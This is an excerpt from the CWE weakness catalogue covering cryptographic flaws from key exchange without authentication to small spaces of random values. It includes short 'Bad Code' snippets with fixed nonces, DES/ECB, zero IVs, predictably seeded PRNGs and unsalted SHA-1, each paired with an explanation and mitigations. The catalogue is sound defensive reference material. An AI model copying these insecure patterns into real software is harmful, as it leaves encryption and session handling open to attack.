CWE-322: Key Exchange without Entity Authentication**Weakness ID:** 322 (*Weakness Base*)**Status:** Draft**Description****Summary**

The software performs a key exchange with an actor without verifying the identity of that actor.

Extended Description

Performing a key exchange will preserve the integrity of the information sent between two entities, but this will not guarantee that the entities are who they claim they are. This may enable a set of "man-in-the-middle" attacks. Typically, this involves a victim client that contacts a malicious server that is impersonating a trusted server. If the client skips authentication or ignores an authentication failure, the malicious server may request authentication information from the user. The malicious server can then use this authentication information to log in to the trusted server using the victim's credentials, sniff traffic between the victim and trusted server, etc.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Common Consequences

Access Control

Bypass protection mechanism

No authentication takes place in this process, bypassing an assumed protection of encryption.

Confidentiality

Read application data

The encrypted communication between a user and a trusted host may be subject to a "man-in-the-middle" sniffing attack.

Likelihood of Exploit

High

Demonstrative Examples

Many systems have used Diffie-Hellman key exchange without authenticating the entities exchanging keys, leading to man-in-the-middle attacks. Many people using SSL/TLS skip the authentication (often unknowingly).

Potential Mitigations

Architecture and Design

Ensure that proper authentication is included in the system design.

Implementation

Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.

CWE-323: Reusing a Nonce, Key Pair in Encryption

Weakness ID: 323 (Weakness Base)

Status: Incomplete

Description

Summary

Nonces should be used for the present occasion and only once.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Access Control

Bypass protection mechanism

Gain privileges / assume identity

Potentially a replay attack, in which an attacker could send the same data twice, could be crafted if nonces are allowed to be reused. This could allow a user to send a message which masquerades as a valid message from a valid user.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

This code takes a password, concatenates it with a nonce, then encrypts it before sending over a network:

C Example:

Bad Code

```
void encryptAndSendPassword(char *password){
    char *nonce = "bad";
    ...
    char *data = (unsigned char*)malloc(20);
    int para_size = strlen(nonce) + strlen(password);
    char *paragraph = (char*)malloc(para_size);
    SHA1((const unsigned char*)paragraph,parsize,(unsigned char*)data);
    sendEncryptedData(data)
}
```

Because the nonce used is always the same, an attacker can impersonate a trusted party by intercepting and resending the encrypted password. This attack avoids the need to learn the unencrypted password.

Example 2:

This code sends a command to a remote server, using an encrypted password and nonce to prove the command is from a trusted party:

C++ Example:

Bad Code

```
String command = new String("some command to execute");
MessageDigest nonce = MessageDigest.getInstance("SHA");
nonce.update(String.valueOf("bad nonce"));
byte[] nonce_digest = nonce.digest();
MessageDigest password = MessageDigest.getInstance("SHA");
password.update(nonce + "secretPassword");
byte[] digest = password.digest();
sendCommand(digest, command)
```

Once again the nonce used is always the same. An attacker may be able to replay previous legitimate commands or execute new arbitrary commands.

Potential Mitigations

Implementation

Refuse to reuse nonce values.

Implementation

Use techniques such as requiring incrementing, time based and/or challenge response to assure uniqueness of nonces.

Background Details

Nonces are often bundled with a key in a communication exchange to produce a new session key for each exchange.

Relationships

CWE-324: Use of a Key Past its Expiration Date

Weakness ID: 324 (Weakness Base)

Status: Draft

Description

Summary

The product uses a cryptographic key or password past its expiration date, which diminishes its safety significantly by increasing the timing window for cracking attacks against that key.

Extended Description

While the expiration of keys does not necessarily ensure that they are compromised, it is a significant concern that keys which remain in use for prolonged periods of time have a decreasing probability of integrity. For this reason, it is important to replace keys within a period of time proportional to their strength.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Access Control

Bypass protection mechanism

Gain privileges / assume identity

The cryptographic key in question may be compromised, providing a malicious user with a method for authenticating as the victim.

Likelihood of Exploit

Low

Demonstrative Examples

The following code attempts to verify that a certificate is valid.

C Example:

Bad Code

```

if (cert = SSL_get_peer_certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
    if ((X509_V_OK==foo) || (X509_V_ERRCERT_NOT_YET_VALID==foo))
        //do stuff
    }
}

```

The code checks if the certificate is not yet valid, but it fails to check if a certificate is past its expiration date, thus treating expired certificates as valid.

Potential Mitigations**Architecture and Design**

Adequate consideration should be put in to the user interface in order to notify users previous to the key's expiration, to explain the importance of new key generation and to walk users through the process as painlessly as possible.

CWE-325: Missing Required Cryptographic Step**Weakness ID:** 325 (*Weakness Base*)**Status:** Incomplete**Description****Summary**

The software does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by that algorithm.

Extended Description

Cryptographic implementations should follow the algorithms that define them exactly, otherwise encryption can be weaker than expected.

Time of Introduction

- Architecture and Design
- Requirements

Applicable Platforms**Languages**

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic. Developers sometimes omit certain "expensive" (resource-intensive) steps in order to improve performance, especially in devices with limited memory or CPU cycles. This could be done under a mistaken impression that the step is unnecessary for preserving security. Alternately, the developer might adopt a threat model that is inconsistent with that of its consumers by accepting a risk for which the remaining protection seems "good enough."

This issue can be introduced when the requirements for the algorithm are not clearly stated.

Common Consequences

Access Control

Bypass protection mechanism

If the cryptographic algorithm is used for authentication and authorization, then an attacker could gain unauthorized access to the system.

Confidentiality

Integrity

Read application data

Modify application data

Sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.

Accountability

Non-Repudiation

Hide activities

If the cryptographic algorithm is used to ensure the identity of the source of the data (such as digital signatures), then a broken algorithm will compromise this scheme and the source of the data cannot be proven.

Observed Examples

Reference	Description
CVE-2001-1585	Missing challenge-response step allows authentication bypass using public key.

CWE-326: Inadequate Encryption Strength

Weakness ID: 326 (Weakness Class) Status: Draft

Description

Summary

The software stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.

Extended Description

A weak encryption scheme can be subjected to brute force attacks that have a reasonable chance of succeeding using current attack methods and resources.

Time of Introduction

- Architecture and Design

Applicable Platforms**Languages**

- Language-Independent

Modes of Introduction

COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.

Common Consequences**Access Control****Confidentiality****Bypass protection mechanism****Read application data**

An attacker may be able to decrypt the data using brute force attacks.

Observed Examples

Reference	Description
CVE-2001-1546	Weak encryption
CVE-2002-1682	Weak encryption
CVE-2002-1697	Weak encryption produces same ciphertext from the same plaintext blocks.

Maintenance Notes

A variety of encryption algorithms exist, with various weaknesses. This category could probably be split into smaller sub-categories.

Relationships between CWE-310, CWE-326, and CWE-327 and all their children need to be reviewed and reorganized.

CWE-327: Use of a Broken or Risky Cryptographic Algorithm

Weakness ID: 327 (Weakness Base)

Status: Draft

Description

Summary

The use of a broken or risky cryptographic algorithm is an unnecessary risk that may result in the exposure of sensitive information.

Extended Description

The use of a non-standard algorithm is dangerous because a determined attacker may be able to break the algorithm and compromise whatever data has been protected. Well-known techniques may exist to break the algorithm.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.

Common Consequences

Confidentiality

Read application data

The confidentiality of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.

Integrity

Modify application data

The integrity of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.

Accountability**Non-Repudiation****Hide activities**

If the cryptographic algorithm is used to ensure the identity of the source of the data (such as digital signatures), then a broken algorithm will compromise this scheme and the source of the data cannot be proven.

Likelihood of Exploit

High

Detection Methods**Automated Analysis****Moderate**

Automated methods may be useful for recognizing commonly-used libraries or features that have become obsolete.

False negatives may occur if the tool is not aware of the cryptographic libraries in use, or if custom cryptography is being used.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis - Binary / Bytecode**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Binary / Bytecode simple extractor – strings, ELF readers, etc.

Manual Static Analysis - Binary / Bytecode**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Dynamic Analysis with manual results interpretation**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Man-in-the-middle attack tool

Cost effective for partial coverage:

Framework-based Fuzzer

Automated Monitored Execution

Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Manual Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Automated Static Analysis**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Configuration Checker

Architecture / Design Review**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

These code examples use the Data Encryption Standard (DES).

C Example:*Bad Code*

```
EVP_des_ecb();
```

Java Example:*Bad Code*

```
Cipher des=Cipher.getInstance("DES...");
des.initEncrypt(key2);
```

PHP Example:*Bad Code*

```
function encryptPassword($password){
    $iv_size = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
    $key = "This is a password encryption key";
    $encryptedPassword = mcrypt_encrypt(MCRYPT_DES, $key, $password, MCRYPT_MODE_ECB, $iv);
    return $encryptedPassword;
}
```

Once considered a strong algorithm, DES now regarded as insufficient for many applications. It has been replaced by Advanced Encryption Standard (AES).

Observed Examples

Reference	Description
CVE-2002-2058	Attackers can infer private IP addresses by dividing each octet by the MD5 hash of '20'.
CVE-2005-2946	Default configuration of product uses MD5 instead of stronger algorithms that are available, simplifying forgery of certificates.
CVE-2005-4860	Product substitutes characters with other characters in a fixed way, and also leaves certain input characters unchanged.
CVE-2007-4150	product only uses "XOR" to obfuscate sensitive data
CVE-2007-5460	product only uses "XOR" and a fixed key to obfuscate sensitive data
CVE-2007-6013	Product uses the hash of a hash for authentication, allowing attackers to gain privileges if they can obtain the original hash.

Reference	Description
CVE-2008-3188	Product uses DES when MD5 has been specified in the configuration, resulting in weaker-than-expected password hashes.
CVE-2008-3775	Product uses "ROT-25" to obfuscate the password in the registry.

Potential Mitigations

Architecture and Design

Libraries or Frameworks

When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.

For example, US government systems require FIPS 140-2 certification.

Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.

Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [R.327.4]

Architecture and Design

Design the software so that one cryptographic algorithm can be replaced with another. This will make it easier to upgrade to stronger algorithms.

Architecture and Design

Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.

Architecture and Design

Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.

Implementation

Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Background Details

Cryptographic algorithms are the methods by which data is scrambled. There are a small number of well-understood and heavily studied algorithms that should be used by most applications. It is quite difficult to produce a secure algorithm, and even high profile algorithms by accomplished cryptographic experts have been broken.

Since the state of cryptography advances so rapidly, it is common for an algorithm to be considered "unsafe" even if it was once thought to be strong. This can happen when new attacks against the algorithm are discovered, or if computing power increases so much that the cryptographic algorithm no longer provides the amount of protection that was originally thought.

Maintenance Notes

Relationships between CWE-310, CWE-326, and CWE-327 and all their children need to be reviewed and reorganized.

CWE-328: Reversible One-Way Hash

Weakness ID: 328 (*Weakness Base*)

Status: Draft

Description

Summary

The product uses a hashing algorithm that produces a hash value that can be used to determine the original input, or to find an input that can produce the same hash, more efficiently than brute force techniques.

Extended Description

This weakness is especially dangerous when the hash is used in security algorithms that require the one-way property to hold. For example, if an authentication system takes an incoming password and generates a hash, then compares the hash to another hash that it has stored in its authentication database, then the ability to create a collision could allow an attacker to provide an alternate password that produces the same target hash, bypassing authentication.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.

Common Consequences

Access Control

Bypass protection mechanism

Demonstrative Examples

In both of these examples, a user is logged in if their given password matches a stored password:

C Example:

Bad Code

```
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

Java Example:

Bad Code

```
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}
```

This code uses the SHA-1 hash on user passwords, but the SHA-1 algorithm is no longer considered secure. Note this code also exhibits CWE-759 (Use of a One-Way Hash without a Salt).

Observed Examples

Reference	Description
CVE-2006-4068	Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks.

Potential Mitigations

Architecture and Design

High

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.

Some hash functions that have one or more of these desired properties include bcrypt [R.328.1], scrypt [R.328.2], and PBKDF2 [R.328.3]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.

Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

CWE-329: Not Using a Random IV with CBC Mode

Weakness ID: 329 (Weakness Variant)

Status: Draft

Description

Summary

Not using a random initialization Vector (IV) with Cipher Block Chaining (CBC) Mode causes algorithms to be susceptible to dictionary attacks.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Confidentiality

Other

Read application data

Other

If the CBC is not properly initialized, data that is encrypted can be compromised and therefore be read.

Integrity

Modify application data

If the CBC is not properly initialized, encrypted data could be tampered with in transfer.

Access Control

Other

Bypass protection mechanism

Other

Cryptographic based authentication systems could be defeated.

Likelihood of Exploit

Medium

Demonstrative Examples

In the following examples, CBC mode is used when encrypting data:

C Example:

Bad Code

```
EVP_CIPHER_CTX ctx;
char key[EVP_MAX_KEY_LENGTH];
char iv[EVP_MAX_IV_LENGTH];
RAND_bytes(key, b);
memset(iv,0,EVP_MAX_IV_LENGTH);
EVP_EncryptInit(&ctx,EVP_bf_cbc(), key,iv);
```

Java Example:

Bad Code

```
public class SymmetricCipherTest {
    public static void main() {
        byte[] text ="Secret".getBytes();
```

```

byte[] iv = {
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
KeyGenerator kg = KeyGenerator.getInstance("DES");
kg.init(56);
SecretKey key = kg.generateKey();
Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding");
IvParameterSpec ips = new IvParameterSpec(iv);
cipher.init(Cipher.ENCRYPT_MODE, key, ips);
return cipher.doFinal(inpBytes);
}
}

```

In both of these examples, the initialization vector (IV) is always a block of zeros. This makes the resulting cipher text much more predictable and susceptible to a dictionary attack.

Potential Mitigations

Implementation

It is important to properly initialize CBC operating block ciphers or their utility is lost.

Background Details

CBC is the most commonly used mode of operation for a block cipher. It solves electronic code book's dictionary problems by XORing the ciphertext with plaintext. If it used to encrypt multiple data streams, dictionary attacks are possible, provided that the streams have a common beginning sequence.

CWE-330: Use of Insufficiently Random Values

Weakness ID: 330 (*Weakness Class*)

Status: Usable

Description

Summary

The software may use insufficiently random numbers or values in a security context that depends on unpredictable numbers.

Extended Description

When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Confidentiality

Other

Other

When a protection mechanism relies on random values to restrict access to a sensitive resource, such as a session ID or a seed for generating a cryptographic key, then the resource being protected could be accessed by guessing the ID or key.

Access Control

Other

Bypass protection mechanism

Other

If software relies on unique, unguessable IDs to identify a resource, an attacker might be able to guess an ID for a resource that is owned by another user. The attacker could then read the resource, or pre-create a resource with the same ID to prevent the legitimate program from properly sending the resource to the intended user. For example, a product might maintain session information in a file whose name is based on a username. An attacker could pre-create this file for a victim user, then set the permissions so that the application cannot generate the session for the victim, preventing the victim from using the application.

Access Control

Bypass protection mechanism

Gain privileges / assume identity

When an authorization or authentication mechanism relies on random values to restrict access to restricted functionality, such as a session ID or a seed for generating a cryptographic key, then an attacker may access the restricted functionality by guessing the ID or key.

Likelihood of Exploit

High

Detection Methods

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and look for library functions that indicate when randomness is being used. Run the process multiple times to see if the seed changes. Look for accesses of devices or equivalent resources that are commonly used for strong (or weak) randomness, such as /dev/urandom on Linux. Look for library or system calls that access predictable information such as process IDs and system time.

Automated Static Analysis - Binary / Bytecode

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with manual results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Man-in-the-middle attack tool

Manual Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Architecture / Design Review**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples**Example 1:**

This code generates a unique random identifier for a user's session.

PHP Example:*Bad Code*

```
function generateSessionID($userID){
    srand($userID);
    return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).

Example 2:

The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

Java Example:*Bad Code*

```
String GenerateReceiptURL(String baseUrl) {
    Random ranGen = new Random();
    ranGen.setSeed((new Date()).getTime());
    return(baseUrl + ranGen.nextInt(400000000) + ".html");
}
```

This code uses the `Random.nextInt()` function to generate "unique" identifiers for the receipt pages it generates. Because `Random.nextInt()` is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

Observed Examples

Reference	Description
CVE-2008-0087	DNS client uses predictable DNS transaction IDs, allowing DNS spoofing.
CVE-2008-0141	Application generates passwords that are based on the time of day.
CVE-2008-0166	SSL library uses a weak random number generator that only generates 65,536 unique keys.

Reference	Description
CVE-2008-2020	CAPTCHA implementation does not produce enough different images, allowing bypass using a database of all possible checksums.
CVE-2008-2108	Chain: insufficient precision causes extra zero bits to be assigned, reducing entropy for an API function that generates random numbers.
CVE-2008-2433	Web management console generates session IDs based on the login time, making it easier to conduct session hijacking.
CVE-2008-3612	Handheld device uses predictable TCP sequence numbers, allowing spoofing or hijacking of TCP connections.
CVE-2008-4905	Blogging software uses a hard-coded salt when calculating a password hash.
CVE-2008-4929	Bulletin board application uses insufficiently random names for uploaded files, allowing other users to access private files.
CVE-2008-5162	Kernel function does not have a good entropy source just after boot.
CVE-2009-0255	Cryptographic key created with a seed based on the system time.
CVE-2009-2158	Password recovery utility generates a relatively small number of random passwords, simplifying brute force attacks.
CVE-2009-2367	Web application generates predictable session IDs, allowing session hijacking.
CVE-2009-3238	Random number generator can repeatedly generate the same value.
CVE-2009-3278	Crypto product uses rand() library function to generate a recovery key, making it easier to conduct brute force attacks.

Potential Mitigations

Architecture and Design

Use a well-vetted algorithm that is currently considered to be strong by experts in the field, and select well-tested implementations with adequate length seeds.

In general, if a pseudo-random number generator is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts.

Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

Implementation

Consider a PRNG that re-seeds itself as needed from high quality pseudo-random output sources, such as hardware devices.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Architecture and Design

Requirements

Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [R.330.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Background Details

Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated. There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be

cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

CWE-331: Insufficient Entropy

Weakness ID: 331 (Weakness Base) Status: Draft

Description

Summary

The software uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Access Control

Other

Bypass protection mechanism

Other

An attacker could guess the random numbers generated and could gain unauthorized access to a system if the random numbers are used for authentication and authorization.

Demonstrative Examples

Example 1:

This code generates a unique random identifier for a user's session.

PHP Example:

```
function generateSessionID($userID){
    srand($userID);
```

Bad Code

```
return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session. This example also exhibits a Small Seed Space (CWE-339).

Example 2:

The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

Java Example:

Bad Code

```
String GenerateReceiptURL(String baseUrl) {
    Random ranGen = new Random();
    ranGen.setSeed((new Date()).getTime());
    return(baseUrl + ranGen.nextInt(400000000) + ".html");
}
```

This code uses the `Random.nextInt()` function to generate "unique" identifiers for the receipt pages it generates. Because `Random.nextInt()` is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

Observed Examples

Reference	Description
CVE-2001-0950	Insufficiently random data used to generate session tokens using <code>C rand()</code> . Also, for certificate/key generation, uses a source that does not block when entropy is low.

Potential Mitigations

Implementation

Determine the necessary entropy to adequately provide for randomness and predictability. This can be achieved by increasing the number of bits of objects such as keys and seeds.

CWE-332: Insufficient Entropy in PRNG

Weakness ID: 332 (Weakness Variant)

Status: Draft

Description

Summary

The lack of entropy available for, or used by, a Pseudo-Random Number Generator (PRNG) can be a stability and security threat.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Availability

DoS: crash / exit / restart

If a pseudo-random number generator is using a limited entropy source which runs out (if the generator fails closed), the program may pause or crash.

Access Control

Other

Bypass protection mechanism

Other

If a PRNG is using a limited entropy source which runs out, and the generator fails open, the generator could produce predictable random numbers. Potentially a weak source of random numbers could weaken the encryption method used for authentication of users.

Likelihood of Exploit

Medium

Potential Mitigations

Architecture and Design

Requirements

Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [R.332.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Implementation

Consider a PRNG that re-seeds itself as needed from high-quality pseudo-random output, such as hardware devices.

Architecture and Design

When deciding which PRNG to use, look at its sources of entropy. Depending on what your security needs are, you may need to use a random number generator that always uses strong random data -- i.e., a random number generator that attempts to be strong but will fail in a weak way or will always provide some middle ground of protection through techniques like re-seeding. Generally, something that always provides a predictable amount of strength is preferable.

Relationships

CLASP		Insufficient entropy in PRNG
CERT Java Secure Coding	MSC02-J	Generate strong random numbers

References

[REF-1] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

CWE-333: Improper Handling of Insufficient Entropy in TRNG

Weakness ID: 333 (*Weakness Variant*)

Status: Draft

Description

Summary

True random number generators (TRNG) generally have a limited source of entropy and therefore can fail or block.

Extended Description

The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Availability

DoS: crash / exit / restart

A program may crash or block if it runs out of random numbers.

Likelihood of Exploit

Low

Demonstrative Examples

This code uses a TRNG to generate a unique session id for new connections to a server:

C Example:

Bad Code

```
while (1){
  if (haveNewConnection()){
    if (hwRandom()){
      int sessionID = hwRandom();
      createNewConnection(sessionID);
    }}
}
```

This code does not attempt to limit the number of new connections or make sure the TRNG can successfully generate a new random number. An attacker may be able to create many new connections and exhaust the entropy of the TRNG. The TRNG may then block and cause the program to crash or hang.

Potential Mitigations

Implementation

Rather than failing on a lack of random numbers, it is often preferable to wait for more numbers to be created.

Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		331	Insufficient Entropy	699	576

Nature	Type	ID	Name	V	Page
				1000

ChildOf		1013	Encrypt Data	1008	1410

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Failure of TRNG
CERT Java Secure Coding	MSC02-J	Generate strong random numbers

CWE-334: Small Space of Random Values

Weakness ID: 334 (Weakness Base)

Status: Draft

Description

Summary

The number of possible random values is smaller than needed by the product, making it more susceptible to brute force attacks.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Access Control

Other

Bypass protection mechanism

Other

An attacker could easily guess the values used. This could lead to unauthorized access to a system if the seed is used for authentication and authorization.

Demonstrative Examples

The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.

XML Example:

Bad Code

```
<sun-web-app>
...
<session-config>
  <session-properties>
    <property name="idLengthBytes" value="8">
      <description>The number of bytes in this web module's session ID.</description>
    </property>
  </session-properties>
</session-config>
...
</sun-web-app>
```

This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session.

Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server

documentation for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.

Observed Examples

Reference	Description
CVE-2002-0583	Product uses 5 alphanumeric characters for filenames of expense claim reports, stored under web root.
CVE-2002-0903	Product uses small number of random numbers for a code to approve an action, and also uses predictable new user IDs, allowing attackers to hijack new accounts.
CVE-2003-1230	SYN cookies implementation only uses 32-bit keys, making it easier to brute force ISN.
